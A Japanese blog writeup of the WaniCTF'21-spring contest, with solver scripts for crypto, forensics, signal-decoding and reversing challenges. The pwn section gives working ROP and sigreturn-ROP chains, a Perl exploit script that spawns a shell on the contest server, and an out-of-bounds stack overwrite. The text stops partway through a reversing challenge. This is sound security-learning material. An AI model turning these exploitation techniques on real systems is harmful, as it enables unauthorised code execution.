LoginSignup
0
0

More than 1 year has passed since last update.

WaniCTF'21-spring writeup

Posted at

概要

WaniCTF'21-springに参加した。 (個人戦)
結果は6639点で、順位表に表示されている440人 (正の点数を取ったのは353人) 中10位だった。
ギリギリグラフを載せてもらえる圏内となり、めでたい。

スコアグラフ

スコアデータ
解けた問題の表

今回役立ったツール

ローカルで使うやつ

Web上のやつ

各問題について

Crypto

Simple conversion

大きな十進整数らしきものが1個書かれたoutput.txtと、Pythonのソースコードとconvert.pyが与えられた。
このoutput.txtの内容をPythonのインタラクティブでhex()関数に渡し、
得られた16進数をキーボードシミュレータでバイナリエディタに流し込むことで、flagが得られた。

FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}

Easy

暗号化されたflagと考えられるoutput.txtと、Pythonのソースコードencrypt.pyが与えられる。
encrypt.pyから、これは適当な値aおよびbを用いて、各アルファベットのAからの位置を
(a * x + b) % 26という変換をしたものであることが読み取れる。

そこで、以下の手法で復元を行う。

  1. flagの先頭4文字がFLAGであることを利用して、aおよびbの値を全探索する。
    (mod 26 なので、0~25を探索すればよい)
  2. 得られたaおよびbを用いて、復号テーブルを作成する。
  3. このテーブルを用い、復号を行う。

attack.pl
attack.pl
#!/usr/bin/perl

use strict;
use warnings;

my $key = "FLAG";
my $target = "HLIM{OCLSAQCZASPYFZASRILLCVMC}";

my $a_ans = -1;
my $b_ans = -1;

my $key_len = length($key);
my $a_char = ord("A");
for (my $a = 0; $a < 26; $a++) {
    for (my $b = 0; $b < 26; $b++) {
        my $ok = 1;
        for (my $i = 0; $i < $key_len; $i++) {
            unless (chr(((ord(substr($key, $i, 1)) - $a_char) * $a + $b) % 26 + $a_char) eq substr($target, $i, 1)) {
                $ok = 0;
                last;
            }
        }
        if ($ok) {
            $a_ans = $a;
            $b_ans = $b;
            print "a = $a_ans, b = $b_ans\n";
        }
    }
}
if ($a_ans < 0) {
    die "not found\n";
}

my @table = ();
for (my $i = 0; $i < 26; $i++) {
    push(@table, -1);
}
for(my $i = 0; $i < 26; $i++) {
    $table[($i * $a_ans + $b_ans) % 26] = $i;
}

my $target_len = length($target);
for (my $i = 0; $i < $target_len; $i++) {
    my $idx = ord(substr($target, $i, 1)) - $a_char;
    if (0 <= $idx && $idx < @table) {
        print chr($table[$idx] + $a_char);
    } else {
        print substr($target, $i, 1);
    }
}

print "\n";

FLAG{WELCOMETOCRYPTOCHALLENGE}

Extra

4種類の整数が書かれたoutput.txtと、Pythonのソースコードencrypt.pyが与えられる。
特に、素数pqを用いたN = p * qM = 2 * p + qが与えられている。
これを用いると、(2 * p - q)**2 = M**2 - 8 * Nが計算でき、
平方根を計算することで2 * p - qの値がわかる。
すると、この値とMの値を用いて、pqの値がわかる。
さらに、
RSA暗号 - Wikipedia
拡張ユークリッドの互除法 〜 一次不定方程式 ax + by = c の解き方 〜 - Qiita
を参考に、拡張ユークリッドの互除法を用いてd * e + (-x) * (p-1)*(q-1) = 1を満たすdを求める。
最後に、c ** d mod Nを計算すると、これがflagを表す数値になっていた。

solve.py
solve.py
import sys

N = None
M = None
e = None
c = None

try:
    while True:
        name, value = sys.stdin.readline().rstrip().split(" = ")
        value = int(value)
        if name == "N":
            N = value
        elif name == "M":
            M = value
        elif name == "e":
            e = value
        elif name == "c":
            c = value
except:
    pass

def heihoukon(v):
    if v <= 0:
        return 0
    less = 0
    ge = v + 1
    while less + 1 < ge:
        m = less + ((ge - less) // 2)
        if m * m < v:
            less = m
        else:
            ge = m
    return ge

# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
    if b == 0:
        return (1, 0)
    s, t = kago(b, a % b)
    return (t, s - (a // b) * t)

ppmq = heihoukon(M*M - 8*N)

p = (M + ppmq) // 4
q = (M - ppmq) // 2

print("p = " + str(p))
print("q = " + str(q))

toosyennto = (p - 1) * (q - 1)
d, mx = kago(e, toosyennto)

print("d = " + str(d))

ap = pow(c, d, N)

print("a' = " + hex(ap))

num = ap
result = ""
while num > 0:
    result = chr(num & 0xff) + result
    num >>= 8

print(result)

FLAG{@n_ex7ra_param3ter_ru1n5_3very7h1n9}

Can't restore the flag?

サーバーの接続情報と、そこで動いているプログラムだと推測できるserver.pyが与えられる。
server.pyは、整数を受け取り、それが300以下ならばflagを表す整数をその整数で割った値を出力するものである。

リアルタイムでやった、無駄に面倒くさい方法

素数表 (1~10000)
を参考に、2~300の素数を入力し、それに対する余りを集める。

中国剰余定理 (CRT) の解説と、それを用いる問題のまとめ - Qiita
拡張ユークリッドの互除法 〜 一次不定方程式 ax + by = c の解き方 〜 - Qiita
を参考に、中国剰余定理を用いてflagを求める。

solve.py
import sys

# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
    if b == 0:
        return (1, 0)
    s, t = kago(b, a % b)
    return (t, s - (a // b) * t)

# return x where x === b1 (mod m1), x === b2 (mod m2)
def chuzyo(b1, m1, b2, m2):
    p, q = kago(m1, m2)
    return (b2 * m1 * p + b1 * m2 * q) % (m1 * m2)

# l = [(b1, m1), (b2, m2), ...]
def chuzyo2(l):
    b = 0
    m = 1
    for bb, mm in l:
        b = chuzyo(b, m, bb, mm)
        m *= mm
    return b

data = []

try:
    while True:
        a = int(sys.stdin.readline().rstrip().split(" > ")[1])
        b = int(sys.stdin.readline().rstrip())
        data.append((b, a))
except:
    pass

num = chuzyo2(data)
print(hex(num))

result = ""
while num > 0:
    result = chr(num & 0xff) + result
    num >>= 8

print(result)

整数の範囲は「300以下」であり、下限は無いため、負の大きい数を入力する。
server.pyより、flagは10 ** 103以下であるため、例えば

-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

を入力する。
入力した値を-a、それに対し出力された値を-bとして、a-bがflagを表す整数になっている。

FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}

OUCS

サーバーの接続情報と、そこで動いているプログラムだと推測できるserver.pyが与えられる。
また、問題文より

OUによるHomomorphicなCryptoSystemです

とのことで、Homomorphicをググると準同型暗号のことらしい。

server.pyは、

  • flagを暗号化した値の出力
  • 任意の値の暗号化
  • 任意の値の復号 (ただし復号結果がflagの場合は出力されない)
  • nghの値の出力

ができる。

server.pyにあったOkamotoUchiyamaCryptoSystemでググった結果、
Okamoto–Uchiyama cryptosystem - Wikipedia
がヒットし、これによればmの暗号化はあらかじめ決めたn, g, hを用いて、
gのm乗 × hの乱数乗 mod nを計算するようである。
従って、m1の暗号文とm2の暗号文の積 mod nが、m1+m2の暗号文になるはずである。

この性質を用い、flagの暗号化結果と1の暗号化結果の積 mod nを復号し、
1を引いて文字列に変換することで、flagが得られた。

decode.py
decode.py
val = 0x464c41477b4f555f643065735f6e30745f726570726535336e745f4f73616b615f556e69766572736974795f6275745f4f6b616d6f746f2d5563686979616d617e

val -= 1

result = ""

while val > 0:
    result = chr(val & 0xff) + result
    val >>= 8

print(result)

FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}

Forensics

presentation

ファイルpresentation.ppsxが与えられる。
LibreOfficeで開くと、FLAG{(青色の長方形)}と書かれた1ページのみがあるスライドショーが表示された。

まず、このファイルを7-Zipで展開する。
ppt/slides/slide1.xmlからFLAGを検索すると、

FLAG{<タグがいっぱい>you_know_how_to_edit_ppsx<タグがいっぱい>}

という部分が見つかった。
これからタグを消したものが正解のflagだった。

FLAG{you_know_how_to_edit_ppsx}

secure document

パスワード付きzipファイルのflag_20210428.zipと、謎のスクリプトpassword-generatorが与えられた。
また、問題文によると

本日の資料は以下を入力して圧縮しました。

the password for today is nani

とのことである。

このスクリプトを

  • ::なんとか:: : 「なんとか」が入力されたら以下の処理を行う
  • :*?:なんとか:: : 「なんとか」で終わるものが入力されたら、その前の文字列のキーを押し、以下の処理を行う
  • Send / SendInput : キーボード操作を行う
  • return : この「なんとか」に対する処理を終了する
  • FormatTime : 日付(zipファイルの名前から取得)を得る
  • +英小文字 : Shiftキー+その文字のキーを押す
  • ^英小文字 : Ctrlキー+その文字のキーを押す
  • その他 : 該当するキーを押す

と仮定して実行すると、

password: Wan1_20210428_C7F!na!

という結果が得られた。

Wan1_20210428_C7F!na! をzipファイルのパスワードとして展開すると、
flagが書かれた画像ファイルflag.jpgが得られた。

FLAG{Nani!very_strong_password!}

slow (解けず)

WAVファイルslow.wavが与えられる。
Audacityで見ると、周波数が変化する正弦波に近い信号のようである。
Audcityでスペクトルを見たり、振幅の変化を抽出してgnuplotでプロットしたりするなどしたら、
よくわからなかった。

parse.pl
parse.pl
#!/usr/bin/perl

use strict;
use warnings;

if (@ARGV < 1) {
    die "Usage: ./parse.pl input_file\n";
}

my $input_file = $ARGV[0];

open(IN, "< $input_file") or die("failed to open $input_file\n");
binmode(IN);
my $data = "";
while (<IN>) { $data .= $_; }
close(IN);

my $len = length($data);
my $pnum = 0;
my $cnt = 0;
for (my $i = 0x2c; $i + 1 < $len; $i += 2) {
    my $num = unpack("s", substr($data, $i, 2));
    if ($pnum < 0 && $num >= 0) {
        print "$cnt\n";
        $cnt = 0;
    }
    $cnt++;
    $pnum = $num;
}

他の波形問題がMiscに入っているのに対し、この問題はForensics…?

illegal image

ファイルillegal_image.pcapが与えられた。

このファイルはWiresharkで読み込むことができ、パケットのデータが表示された。
最初のechoパケットを見ると、JPGファイルの先頭部分のようなものが見えた。

そこで、「複雑なことはしていない」、すなわち

  • JPGファイルのデータは順番通り流れている
  • JPGファイルのデータが入っているパケットのIPヘッダの長さ・Ethernetアドレス・IPアドレスは同じ
  • パケットのデータが変なところで分割されてない
  • 関係ないechoパケットは無い

と仮定し、pcapファイル中のechoパケットのデータからJPGファイルのデータを抽出するプログラムを書いた。

solve.pl
solve.pl
#!/user/bin/perl

use strict;
use warnings;

if (@ARGV < 2) {
    die "usage: solve.pl input_file output_file\n";
}

my $input_file = $ARGV[0];
my $output_file = $ARGV[1];

# destination (6 bytes), source (6 bytes), type (2 bytes, IPv4)
my $target_ethernet = "\x10\x7B\x44\x47\x9A\x26\x00\x28\xF8\x60\x69\x31\x08\x00";
# source (4 bytes), desitination (4 bytes)
my $target_ip = "\xC0\xA8\x00\x85\xC0\xA8\x00\x9E";

open(IN, "< $input_file") or die("failed to open $input_file\n");
open(OUT, "> $output_file") or die("fialed to open $output_file\n");
binmode(IN);
binmode(OUT);
my $input_data = "";
while (<IN>) { $input_data .= $_; }
close(IN);

my $start_pos = 0;
for (;;) {
    my $next_pos = index($input_data, $target_ethernet, $start_pos);
    if ($next_pos < 0) { last; }
    if (substr($input_data, $next_pos + 0x1A, 8) eq $target_ip) {
        my $total_length = unpack("n", substr($input_data, $next_pos + 0x10, 2));
        my $protocol = unpack("C", substr($input_data, $next_pos + 0x17, 1));
        my $type = unpack("C", substr($input_data, $next_pos + 0x22, 1));
        if ($protocol == 0x01 && $type == 0x08) {
            print OUT substr($input_data, $next_pos + 0x2A, $total_length - 0x1C);
        }
    }
    $start_pos = $next_pos + 1;
}

close(OUT);

このJPGファイルにflagが書かれていた。

FLAG{ICMP_Exfiltrate_image}

MixedUSB

ファイルMixedUSB.imgが与えられた。
TSXBINで開き、Shift_JISのテキストFLAGを検索すると、2番目にflagが見つかった。

FLAG{mixed_file_allocation_table}

Mixc

binary

0や1がたくさん書かれたテキストファイルbinary.csvと、Pythonのソースコードsample.pyが与えられた。

このbinary.csvは、1バイトを8ビット(8行)で、上位から下位の順に表しているようである。
これを読み取ってバイト列に変換するプログラムを書いた。

solve.pl
solve.pl
#!/usr/bin/perl

use strict;
use warnings;

my $val = 0;
my $pos = 0;

while (my $line = <STDIN>) {
    $val |= int($line) << (7  - $pos);
    $pos++;
    if ($pos >= 8) {
        printf("%c", $val);
        $pos = 0;
        $val = 0;
    }
}
print "\n";

FLAG{the_basic_knowledge_of_communication}

Git Master

Docker HubのURLと、Dockerfileが与えられた。

Dockerが無いとアクセスは難しそうなので、まずはDockerをインストールすることにした。
Get StartedからDocker Desktopのインストーラをダウンロードし、実行した。
インストーラの実行が完了するとログオフを要求されたので、一応再起動した。

すると、以下の画面が出てきた。
Dockerインストール中の画面1
書かれている通り、管理者モードで実行したPowerShellに、書かれているおまじないをコピペし、実行した。
すると再起動を要求されたので、また再起動した。

すると、今度は以下の画面が出てきた。
Dockerインストール中の画面2
リンク先の
Windows 10 に WSL をインストールする | Microsoft Docs
にアクセスし、「x64 マシン用 WSL2 Linux カーネル更新プログラム パッケージ」をダウンロード・インストールした。
他の手順は実行しなくていいようだった。
そして、書かれている通りRestartボタンを押した。これはOSの再起動ではなく、Dockerのシステムの再起動のようだ。

これでDockerのインストールができたので、Docker Desktopを起動し(起動しておかないとエラーになるようだ)、
Docker Hubに書かれているDocker Pull Commandとかいうおまじない

docker pull wanictf21spring/nginx_on_ubuntu

を普通のコマンド プロンプトで実行する。

DockerFileでDockerイメージを作成してみる | infoScoop開発者ブログ
を参考に、コマンド

docker images

を実行すると、それっぽい名前が見える。
なお、与えられたDockerfileを用いた

docker build .

は、あまり役立たなそうだった。

ここで得られた名前と、Docker Desktopの画面に出ていたおまじないを組み合わせたコマンド

docker run -d -p 80:80 wanictf21spring/nginx_on_ubuntu

を実行する。すると、Webブラウザでhttp://localhost/にアクセスできるようになる。
また、Docker DesktopのContainers / Appsにそれっぽい項目が出てくる。
この項目のCLIボタンを押すと、シェルにアクセスできる。

このシェルを用いて調査をすると、/var/wwwディレクトリに.gitディレクトリがあった。
しかし、このシェルでgitコマンドは使えないようである。 (apt-getはできるが、コストが高そうだった)
そこで、/var/wwwtarでアーカイブし、/var/www/html/ ディレクトリに入れ、Webブラウザから回収した。

回収したアーカイブを展開し、git reflogをしたところ、Flag.txtを含む行が数行出てきた。
そこで、git diff (左端にあるID)コマンドを用いてデータを表示し、
出てきたFlag.txt関係のデータをそれっぽく組み合わせることで、flagが得られた。

FLAG{y0u_4r3_p3rf3c7_g1t_m45t3r}

ASK

0や1がたくさん書かれたテキストファイルask.csvが与えられた。

とりあえず問題文の「Amplitude Shift Keying」でググったところ、AMっぽい表現方法のようである。

ask.csvに対しRLE (Run-Length Encoding)をかけたところ、0や1が連続する個数は31の倍数になっているようだった。

rle.pl
rle.pl
#!/usr/bin/perl

use strict;
use warnings;

my $prev = 0;
my $first = 1;
my $count = 0;

while (my $line = <STDIN>) {
    chomp($line);
    if ($first) {
        $count = 1;
        $prev = $line;
        $first = 0;
    } elsif ($prev eq $line) {
        $count++;
    } else {
        print "$prev\t$count\n";
        $count = 1;
        $prev = $line;
    }
}
unless ($first) {
    print "$prev\t$count\n";
}

その結果を観察すると、先頭から少し飛ばしたところにFLAGの、最後に}の0/1パターンが見えた。
そこで、31個の0/1を1個にする変換をかけ、それを問題binaryで使ったsolve.plにかけた。

decode.pl (RLEの結果からsolve.pl用の0/1列に変換するプログラム)
decode.pl
#!/usr/bin/perl

use strict;
use warnings;

my $skip = 38;
my $block = 31;

my $count = 1;

while (my $line = <STDIN>) {
    if ($count > $skip) {
        chomp($line);
        my ($data, $num) = split(/\s+/, $line);
        if ($num % $block != 0) {
            warn sprintf("line %d : %d %% %d = %d\n", $count, $num, $block, $num % $block);
        }
        my $pnum = int($num / $block);
        for (my $i = 0; $i < $pnum; $i++) {
            print "$data\n";
        }
    }
    $count++;
}

その結果、ゴミも多いが、先頭にflagのようなものが出た。
そこで、それを送信したところ、正解になった。
これはAMのデコード方法ではないはずだが…まあ通ったのでヨシ?

FLAG{als0-k0own-4s-0n-0ff-key1ng}

Automaton Lab.

  • サーバーの接続情報
  • Rule 30 - Wikipedia へのリンク
  • サーバーで動いていると推測できるPythonのソースコードautomaton-lab.py

が与えられた。
サーバーに接続すると、以下のような出力がされた。

Welcome to Automaton Lab.!
We study about automaton in there, here is the space of "Rule 30"[1] automaton.
We breed 15 cells automaton now, they are ring-connected -- they are connected the first cell and the last cell.
Our interest is what this cute automaton grow up in future, we want your help to expect their growth.
[1]: https://en.wikipedia.org/wiki/Rule_30

For example, now automaton state is "100000100000001" ('1' is alive and '0' is dead) and in next generation they are "010001110000011".
generation      state
0               100000100000001
1               010001110000011
2               011011001000110

We give you initial state(init) and generation(gen). You write down the state of this automaton of the nth generation in binary.
Are you ready?
(press enter key to continue)

どうやら、15ビットのセルオートマトンの、指定された世代後の状態を答えればいいらしい。
状態が15ビットしかないので、典型的なループものだろう。
出た状態を記録し、前に出た状態に戻ったらオフセットと周期を求めて指定の世代の状態を計算すればよい。
automaton-lab.pyより、3問しか無いようなので、ソルバのプログラムだけ書いて、通信は手動でいいだろう。

solve.py
solve.py
import sys

pat = sys.stdin.readline().rstrip()
gen = int(sys.stdin.readline().rstrip())

rule = {
    "111" : "0",
    "110" : "0",
    "101" : "0",
    "100" : "1",
    "011" : "1",
    "010" : "1",
    "001" : "1",
    "000" : "0"
}

visited = {pat : 0}
data = [pat]

curGen = 0

while curGen < gen:
    patTmp = pat[-1] + pat + pat[0]
    nextPat = ""
    for i in range(1, len(patTmp) - 1):
        nextPat += rule[patTmp[i-1:i+2]]
    pat = nextPat
    curGen += 1
    if pat in visited:
        syuki = curGen - visited[pat]
        offset = visited[pat]
        pat = data[(gen - curGen) % syuki + offset]
        break
    else:
        visited[pat] = curGen
        data.append(pat)

print(pat)

FLAG{W3_4w4rd_y0u_d0c70r473_1n_Fu7ur3_S1gh7}

Manchester

0や1がたくさん書かれたテキストファイルmanchester.csvが与えられた。

問題文の「Manchester Encoding」でググった結果、信号レベルの変化でデータの0/1を表す形式のようである。
マンチェスタ符号 - Wikipedia

問題ASKと同様に、31個の0/1を1個の0/1に変換し、それっぽい場所からデコードを行った。
デコードは、01を0、10を1に変換し、0011が出たら終わりとした。

solve.pl
solve.pl
#!/usr/bin/perl

use strict;
use warnings;

my $offset = @ARGV < 1 ? 0 : int($ARGV[0]);
my $invert = @ARGV < 2 ? 0 : int($ARGV[1]);

my $dummy = <STDIN>;

for (my $count = 2; ; $count += 2) {
    my $a = <STDIN>;
    my $b = <STDIN>;
    unless ($a && $b) { last; }
    chomp($a);
    chomp($b);
    my $decode = 0;
    if ($a eq "0" && $b eq "1") {
        $decode = 0;
    } elsif ($a eq "1" && $b eq "0") {
        $decode = 1;
    } else {
        warn "error at line $count\n";
        last;
    }
    if ($offset > 0) {
        $offset--;
    } else {
        printf("%d\n", $invert ? 1 - $decode : $decode);
    }
}

このデコード結果を問題binaryのbinary.csvと見比べ、データの先頭のパターンを合わせた。
そして問題binaryと同様の変換をすることで、flagが得られた。

FLAG{avoiding-consective-ones-and-zeros}

Pwn

01 netcat

サーバーの接続情報と、そこで動いていると考えられるプログラムpwn01pwn01.cが与えられた。
pwn01.cは、無条件でsystem("/bin/sh");の実行に直行するようになっている。

言われた通りlsを入力すると、flag.txtがあるようなので、cat flag.txtで出力する。

FLAG{this_is_the_same_netcat_problem_as_previous_one}

02 free hook

サーバーの接続情報と、そこで動いていると考えられるプログラムpwn02pwn02.cが与えられた。
pwn02.cを見ると、malloc()で確保した領域にデータを読み込んだり、
それをfree()で開放したりできるようになっている。
さらに、__free_hook = system;という怪しい行がある。

領域に/bin/shを読み込ませ、それを開放すると、表示が止まった。
なお、Tera Termにおいては直接入力すると1文字だけで入力を打ち切られてしまうことがあるので、
一度に複数文字を入力したい時はコピペをすると吉である。
そこで、lsを入力するとflag.txtがあることを示す表示が出たので、cat flag.txtを入力するとflagが出力された。

問題文には

free_hookの仕組みを理解する必要があります。

とあるが、別に仕組みを理解しなくてもなんとなくやったらできた。

FLAG{malloc_hook_is_a_tech_for_heap_exploitation}

03 rop machine easy

サーバーの接続情報と、そこで動いていると考えられるプログラムpwn03pwn03.cが与えられた。
今回のプログラムは、いくつかのパーツをバッファに並べ、実行できるようである。
また、問題文より、

ropでsystem("/bin/sh")を実行して下さい。

とのことである。

スタックにsystemのアドレス→/bin/shのアドレス、の順で積み、
pop rdi; retを実行すると、/bin/shのアドレスがrdiに入り、systemが実行されるはずである。

そこで、この順でバッファに入れ、実行したが、Segmentation Faultになった。

     rop_arena
+--------------------+
| system             |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rdi; ret       |
+--------------------+

アラインメントが悪い可能性があると考え、
systemのアドレスをもう1個入れてみたが、これもSegmentation Faultになった。

     rop_arena
+--------------------+
| system             |<- rop start
+--------------------+
| system             |
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rdi; ret       |
+--------------------+

そこで、バッファに入れるのを逆順にしたところ、コマンドが実行できる状態になった。

     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+

そして、cat flag.txtを実行することで、flagが得られた。

FLAG{this-is-simple-return-oriented-programming}

04 rop machine normal

サーバーの接続情報と、そこで動いていると考えられるプログラムpwn04pwn04.cが与えられた。
今回のプログラムも、いくつかのパーツをバッファに並べ、実行できるようである。

使えるパーツは、

  • 任意の値
  • pop rdi; retのアドレス
  • pop rsi; retのアドレス
  • pop rdx; retのアドレス
  • pop rax; retのアドレス
  • syscall; retのアドレス

である。また、問題文より、

ropでexecve("/bin/sh", 0, 0)を実行して下さい。

execveのsyscall番号は0x3bです。

とのことである。

pop hoge; ret は、

  1. 実行される際、スタックからpop hoge; ret 自身が取り除かれる
  2. スタックから値を取り除き、hogeに入れる
  3. スタックの次の値の場所へ実行を移す

という動作をする。さらに、
Syscall Number for x86-64 linux (A)
より、

  • rax にsyscall番号
  • rdi に第1引数
  • rsi に第2引数
  • rdx に第3引数

を入れ、syscallを実行すればいいようである。

これを踏まえ、以下のようにバッファを構築し、実行することで、コマンドを実行できる状態になった。

     rop_arena
+--------------------+
| pop rax; ret       |<- rop start
+--------------------+
| 0x000000000000003b |
+--------------------+
| pop rdi; ret       |
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| syscall; ret       |
+--------------------+

そして、cat flag.txtを実行することで、flagが得られた。

FLAG{now-you-can-call-any-system-calls-with-syscall}

05 rop machine hard

サーバーの接続情報と、そこで動いていると考えられるプログラムpwn05pwn05.cが与えられた。
今回のプログラムは、いくつかの値をバッファに並べ、実行できるようである。
前の2問と違って選択できるパーツが無いため、パーツとして使う値を自分で求めることが要求される。

おそらく、問題 04 rop machine normal と同様に、execve("/bin/sh", 0, 0)を実行すればよいだろう。
パーツの選択肢にはなっていないものの、

  • pop rdi; ret
  • pop rdx; ret
  • pop rax; ret
  • syscall; ret

は埋め込まれ、TDM-GCCのobjdumpによる逆アセンブルによってアドレスを求めることができる。

また、"/bin/sh"についても埋め込まれており、バイナリエディタでの表示からアドレスを予想することができる。

しかし、pop rsi; retは明示的に埋め込まれておらず、逆アセンブル結果にも含まれていない。
pop %rsiは逆アセンブル結果にあり、これはバイト0x5eに対応することがわかる。
そこで、逆アセンブル結果から0x5eを探すと、

  401610:   41 5e                   pop    %r14
  401612:   41 5f                   pop    %r15
  401614:   c3                      retq   

という場所に含まれていることがわかった。
ここでは、0x5eretの間に余計なpopが1個余計に挟まっているだけなので、
これに食わせる余計な値を足してあげればpop rsi; retのかわりに使えそうである。

まとめると、以下の順でバッファに入れ、実行することで、コマンドが実行できる状態になった。

0x4012a9 (pop rax; ret)
0x3b
0x40128f (pop rdi; ret)
0x404078 ("/bin/sh")
0x401611 (pop rsi; pop r15; ret)
0x0
0x0
0x40129c (pop rdx; ret)
0x0
0x4012b6 (syscall; ret)

そして、cat flag.txtを実行することで、flagが得られた。

FLAG{y0ur-next-step-is-to-use-pwntools}

06 SuperROP

サーバーの接続情報と、そこで動いていると考えられるプログラムpwn06pwn06.c
そしてPythonのソースコードhow_to_use_pwntools.pyが与えられた。
プログラムは、ローカル変数のアドレスを出力した後、
バッファオーバーフローしうる形でそこにデータを読み込むものである。
問題文には、

sigreturnを用いたROPでシェルを実行してください。

と書かれている。

ヒントとして提示されているsigcontext.hの情報をもとに、
各レジスタにexecve("/bin/sh", 0, 0)を実行する用の適切な値をセットする。
今回は"/bin/sh"は用意されていないようなので、入力に含めて書き込む。

そして、TDM-GCCのobjdumpによる逆アセンブル結果を参照し、
わざわざ用意してあるmov $0xf,%rax; retのアドレスをリターンアドレスに、
syscall; retのアドレスをスタックのその次の場所になるように配置する。

さらに、
x64でSigreturn Oriented ProgrammingによるASLR+DEP+RELRO回避をやってみる - ももいろテクノロジー
を参照し、syscall; retのアドレスとレジスタ用の値群の間に8×5バイトのスペースを加える。

これをプログラムで送信したところ、コマンドを実行することができ、
cat flag.txtコマンドによりflagが得られた。

communicate.pl
communicate.pl
#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"srop.pwn.wanictf.org",
        PeerPort=>9006, Proto=>"tcp");
if (!$sock) {
    die "socket error\n";
}

my $first = <$sock>;
my $second = <$sock>;

unless ($first =~ /buff : (.*)/) { die "buff get error\n"; }
my $buff = hex(substr($1, 2));

my @data = (
    0x40118c, # set_rax
    0x40117e, # call_syscall

    0, 0, 0, 0, 0, # magic

    0, 0, 0, 0, 0, 0, 0, 0, # r8 - r15
    $buff, # rdi
    0, # rsi
    0, 0, #rbp, rbx
    0, # rdx
    0x3b, # rax
    0, # rcx
    $buff + 8, # rsp
    0x40117e, # rip
    0, # eflags
    0x33, # cs, gs, fs, ss
    0, 0, 0, 0, 0, # err, trapno, oldmask, cr2, fpstate
    0, 0, 0, 0, 0, 0, 0, 0 # reserved1
);

my $data2 = "/bin/sh\0";

my $tosend = $data2 . ("a" x (0x40 - length($data2)));
$tosend .= "-" x 8;
for (my $i = 0; $i < @data; $i++) {
    $tosend .= pack("Q", $data[$i]);
}
print $sock $tosend;
print $sock "ls\n";
print $sock "cat flag.txt\n";
print $sock "exit\n";
while (<$sock>) { print $_; }

close($sock);

実行すると

Hexadecimal number > 0xffffffff non-portable

という警告が出るが、動いたのでヨシ!

FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}

07 Tower of Hanoi

サーバーの接続情報と、そこで動いていると考えられるプログラムpwn07pwn07.c
そしてダミーテキストのファイルFLAGが与えられた。
プログラムはハノイの塔をやるものである。
main()関数内の変数solved_flagの値を1にすることで、ループを抜けてflagを出力させることができそうである。

move_hanoi()関数内の範囲チェックが甘く(ご丁寧にその場所に// ???というコメントがついている)、
1個と2個前の「棒」へのアクセスが可能である。
さらに、開始時になぜか名前の入力を求められる。

TDM-GCCのobjdumpで逆アセンブルして観察すると、
この名前の入力先がそれぞれの棒にある円盤の個数を管理する配列rod_pivotの直前にあり、
1個前の「棒」をいじる時に使えそうである。
さらに、変数solved_flag-0x4(%rbp)に、
それぞれの棒にある円盤を管理する配列rod-0x1a0(%rbp)にあるようである。
この配列は1行に4バイトの値が32個ある2次元配列なので、
変数solved_flagは、この-1番目の行の0x87番目の要素(0-origin)にあたる。
((-0x4 - (-0x1a0 - 4 * 32)) >> 2 = 0x87)

そこで、名前として入力する値を工夫し、
-1番目(0-origin)の棒への移動によって1がsolved_flagに書き込まれるようにする。

具体的には、まずTCP/IPテストツールで、名前として

0123456789ab<87><00><00><00>

を送信する。(「送信データのバイナリ変換」を有効にしておく)
次に、0番目の棒の一番上にある1を-1番目に移動させるため、

A@

を送信する。
すると、flagが出力される。

FLAG{5up3r_f457_h4n01_501v3r}

08 Gacha Breaker (解けず)

サーバーの接続情報と、
そこで動いていると考えられるプログラムld-2.31.solibc-2.31.sopwn08pwn08.cが与えられた。
libcが与えられる問題はよくあるが、ldまであるということは、きっとかなり本格的な問題なのだろう。 (?)

pwn08.cを読むと、

  • ナル終端していないデータをatol()に渡している
  • srand(time(0));を何度も実行している
  • malloc()の戻り値がNULLかをチェックせずに次の処理に使っている
  • ceiling()関数内で指定している書き換えるガチャ履歴の有効範囲が後ろに1多い
  • メニューの選択によってfree_list()を呼んだ後、iをリセットしていない
  • 履歴がいっぱいになった結果free_list()を呼んだ後、gacha_countを一部しかリセットしていない

という問題があることはわかったが、具体的にどう使うかは考えられなかった。

Reversing

secret

ELFファイルsecretが与えられた。

TDM-GCCのobjdumpで逆アセンブルした結果、main関数は

  1. 配列に謎の値を格納する
  2. show_description関数を呼ぶ
  3. printf関数でプロンプトを出力する
  4. scanf関数で文字列を読み込む
  5. strlen関数で読み込んだ文字列の長さをチェックする
  6. strncmp関数で読み込んだ文字列がwani_is_the_coolest_animals_in_the_world!かをチェックする
  7. ループで文字列の加工を行う
  8. printf関数で加工した結果を出力する

という処理をしているようである。
また、ループの部分の処理をC言語で表すと

int magic[] = { /* ... */ };
int i;
char input[128], output[128];

for (i = 0; i <= 0x28; i++) {
    /* 1462 */
    int edx = (unsigned char)input[i];
    /* 1470 */
    int eax = magic[i];
    /* 147b */
    int ecx = edx ^ eax;
    /* 147f */
    output[i] = ecx;
}

という感じになっているようである。
これらに基づき、以下のプログラムでflagを求めた。

solve.py
solve.py
magic = [
    0x31, 0x2d, 0x2f, 0x2e, 0x24, 0x8 , 0x1d, 0x3e,
    0x45, 0x11, 0x1f, 0x3a, 0x3c, 0x5b, 0x1 , 0x8,
    0x3a, 0x0 , 0x0 , 0x2d,  0x8, 0x0 , 0x5f, 0x1e,
    0x3e, 0xd , 0x1d, 0x3b, 0x36, 0xb , 0x27, 0x11,
    0xb , 0x10, 0x68, 0x12, 0x30, 0x44, 0x5 , 0xa,
    0x5c
]

message = "wani_is_the_coolest_animals_in_the_world!"

result = ""

for i in range(len(magic)):
    result += chr(ord(message[i]) ^ magic[i])

print(result)

FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

execute

ファイル群

  • libprint.so
  • main.s
  • Makefile
  • version.txt

が与えられた。

main.sには怪しい大きな整数が4個書かれていたので、
とりあえず16進数に変換してみると、文字列のデータっぽいことがわかった。
